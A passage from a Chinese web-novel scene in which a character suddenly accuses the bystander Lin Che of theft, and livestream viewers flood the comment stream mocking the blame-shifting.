猛地转头，手指直直地指向旁边一脸平静、仿佛在看戏的林澈，声音陡然拔高，带着几分气急败坏的尖锐。 “是你偷的！我就说怎么回事，没想到你这小孩看着老实，手脚竟然这么不干净！” 林澈被这突如其来的指控打懵了，愣了一下，伸手指着自己，眼睛瞪得溜圆，满脸都是“？？？”的表情。 直播间的弹幕瞬间像炸开的油锅，密密麻麻地刷屏。 “靠靠靠，什么玩意？这就开始甩锅了？” “这踏马就是老油条的‘修养’吗？黑的能说成白的，脏水说泼就泼！” “一瞬间就能找到背锅侠，这反应速度，不去当编剧可惜了！” “**，真的离谱啊！见过不要脸的，没见过这么不要脸的！” “林澈：我只是个搬柜子的，怎么躺着也中枪啊？”